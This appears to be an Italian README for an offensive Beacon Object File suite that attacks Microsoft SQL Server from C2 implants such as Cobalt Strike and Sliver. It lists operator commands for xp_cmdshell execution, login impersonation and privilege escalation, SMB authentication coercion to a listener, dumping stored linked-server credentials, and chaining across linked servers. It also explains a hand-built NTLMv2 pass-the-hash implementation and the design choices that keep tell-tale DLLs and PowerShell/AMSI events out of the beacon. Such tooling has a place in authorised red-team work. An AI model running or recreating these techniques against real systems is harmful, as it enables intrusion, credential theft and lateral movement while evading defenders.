
Una suite di Beacon Object File per Microsoft SQL Server che parla TDS 7.4 direttamente sul filo
Una suite di Beacon Object File per Microsoft SQL Server che parla TDS 7.4 direttamente sul filo, in C. Nessun msodbcsql.dll, nessun sqloledb.dll, nessun .NET CLR, nessun PowerShell. Un COFF per architettura, si carica in ogni beacon che rispetta l'API Beacon canonica.
SQL Server si presenta in quasi ogni incarico. I due strumenti a cui le persone ricorrono sono SQLRecon / PowerUpSQL (CLR + PowerShell) e qualsiasi cosa che avvolga sqlcmd.exe. Entrambi lasciano mscoree.dll, eventi AMSI di PowerShell o una copia completa del driver ODBC Microsoft nella memoria del beacon. Niente di tutto ciò è necessario: TDS è solo byte incapsulati su TCP con un handshake Schannel davanti, e ogni beacon in grado di eseguire BOF ha già ws2_32, secur32, schannel e bcrypt caricati.
Quindi mssqlbof implementa TDS manualmente, in C, e si aggancia direttamente a qualsiasi primitiva SSPI o BCrypt di cui l'operatore ha bisogno per il target. Il beacon carica un oggetto di circa 48 KB, esegue SQL, lo scarica. Nient'altro entra nel processo.
| C2 | x64 | x86 |
|---|---|---|
| Cobalt Strike | sì | sì |
| Havoc | sì | sì |
| Sliver | sì | sì |
| BruteRatel | sì | sì |
| Nighthawk | sì | sì |
| Outflank Stage1 | sì | sì |
| AdaptixC2 | sì | sì |
Metasploit execute_bof | sì | sì |
| PoshC2 | sì | sì |
Un file oggetto per architettura. mssql.x64.o è lo stesso binario su ogni framework — utilizziamo solo l'API Beacon canonica (BeaconPrintf, BeaconDataExtract, ecc.) e il pattern <LIB>$<fn> di importazione dinamica che i loader COFF risolvono a runtime.
apt install gcc-mingw-w64 libssl-dev
make
Produce build/mssql.x64.o e build/mssql.x86.o. Carica sul team server, esegui con il runner BOF del tuo C2.
Tutto passa attraverso un file oggetto con --action <verb>:
--action find Enumerazione LDAP degli SPN MSSQLSvc nella foresta corrente
--action info --host <sql> server/versione/utente corrente/sysadmin/db
--action query --host <sql> --sql "..." T-SQL arbitrario, multi-riga, multi-resultset
--action links --host <sql> enumerazione dei server collegati (singolo hop)
--action exec --host <sql> --cmd "..." xp_cmdshell con abilitazione automatica + ripristino
--action impersonate --host <sql> --discover elenca i login che puoi impersonare con EXECUTE AS
--action impersonate --host <sql> --login X --sql "..."
esegui T-SQL come X tramite EXECUTE AS LOGIN
--action privesc --host <sql> enumerazione della superficie di privesc in sei sezioni
--action coerce --host <sql> --to "\\listener\x"
xp_dirtree coerzione autenticazione SMB
--action passwords --host <sql> dump di sys.linked_logins + sys.credentials
--action chain --host <sql> --via LINK --sql "..."
EXEC (...) AT [LinkedServer]
--action find viene eseguito senza host — parla con il DC dell'operatore tramite LDAP.
Quattro modalità. Ogni modalità è verificata end-to-end contro SQL Server 2019 sia in COFFLoader che in Adaptix C2 su un dominio reale.
--auth sspi (predefinito) token del thread beacon corrente
Kerberos se SPN esiste, altrimenti NTLM.
Rispetta make_token / steal_token.
--auth ntlm --domain D --user U --pass P NTLM plaintext esplicito.
Guida il pacchetto NTLM di SSPI, multi-leg.
--auth ntlm --domain D --user U --hash <NT> pass-the-hash.
NTLMv2 fatto a mano (vedi sotto).
Nessun SSPI, nessun lsass, nessun make_token.
--auth sql --user U --pass P Autenticazione SQL.
--hash accetta un hash NT esadecimale di 32 caratteri o la forma LM:NT che secretsdump emette.
SSPI + SEC_WINNT_AUTH_IDENTITYAcquireCredentialsHandleW(NULL, "NTLM", ...) accetta solo password in testo semplice nella struttura delle credenziali. Il provider NTLM deriva l'hash NT internamente. Fornirgli un hash richiede di patchare lsass (cosa che fa Mimikatz sekurlsa::pth) o eseguire il beacon sotto un processo sacrificale che era già pre-autenticato.
L'alternativa — quella che abbiamo adottato — è di saltare completamente SSPI per PTH e generare i messaggi NTLMSSP da soli. src/tds/ntlm_pth.c costruisce un Type 1 NEGOTIATE, analizza il Type 2 CHALLENGE del server dal token TDS 0xED, esegue i calcoli NTLMv2 con il provider HMAC-MD5 di bcrypt.dll, e scrive un Type 3 AUTHENTICATE che SQL Server passa volentieri al DC.
Il primo tentativo è fallito con error 18452: login is from an untrusted domain. Catturando l'autenticazione funzionante di Impacket sul filo accanto alla nostra abbiamo ristretto rapidamente il problema: stavamo inviando 24 zeri per la risposta LMv2 e l'intera zuppa di flag di Windows negotiate 0xe288... Abbinare il calcolo LMv2 di Impacket e il suo set di flag più piccolo 0xa2880205 (nessun KEY_EXCH, nessun SIGN, nessun ALWAYS_SIGN) ha fatto sì che il server accettasse l'hash. Write-up in BLOG.
--action exec--impersonate auto (predefinito) prova EXECUTE AS LOGIN, poi salto TRUSTWORTHY
--impersonate login EXECUTE AS LOGIN tramite un grant IMPERSONATE
--impersonate trustworthy salto attraverso dbo di un database TRUSTWORTHY di proprietà di sysadmin
--impersonate none fallisci se non sei sysadmin
privesc enumera la superficie prima di scegliere un metodo: appartenenza a sysadmin, grant IMPERSONATE (con lo stato sysadmin del login target), database TRUSTWORTHY di proprietà di un sysadmin (con il tuo accesso), server collegati, permessi a livello di server e stato di xp_cmdshell.
apt install gcc-mingw-w64 libssl-dev
make # cross-compila BOF per x64 + x86
make tds # libreria condivisa Linux del core TDS (per fuzzing / test)
La libreria condivisa Linux condivide ogni file sorgente TDS con la build Windows; solo tls_schannel.c / sspi.c / ntlm_pth.c vengono sostituiti con i loro equivalenti OpenSSL / stub.
Niente chiama libc o Win32 direttamente. Ogni simbolo esterno passa attraverso la convenzione di importazione dinamica <LIB>$<fn> in src/common/dynimports.h. Verifica con:
x86_64-w64-mingw32-objdump -t build/mssql.x64.o | grep UND
Dovrebbero apparire solo MSVCRT$*, WS2_32$*, SECUR32$*, BCRYPT$*, CRYPT32$*, SCHANNEL$*, WLDAP32$*, KERNEL32$*, ADVAPI32$*, e __imp_Beacon*. Nessun msodbcsql.dll. Nessun sqloledb.dll. Nessun mscoree.dll.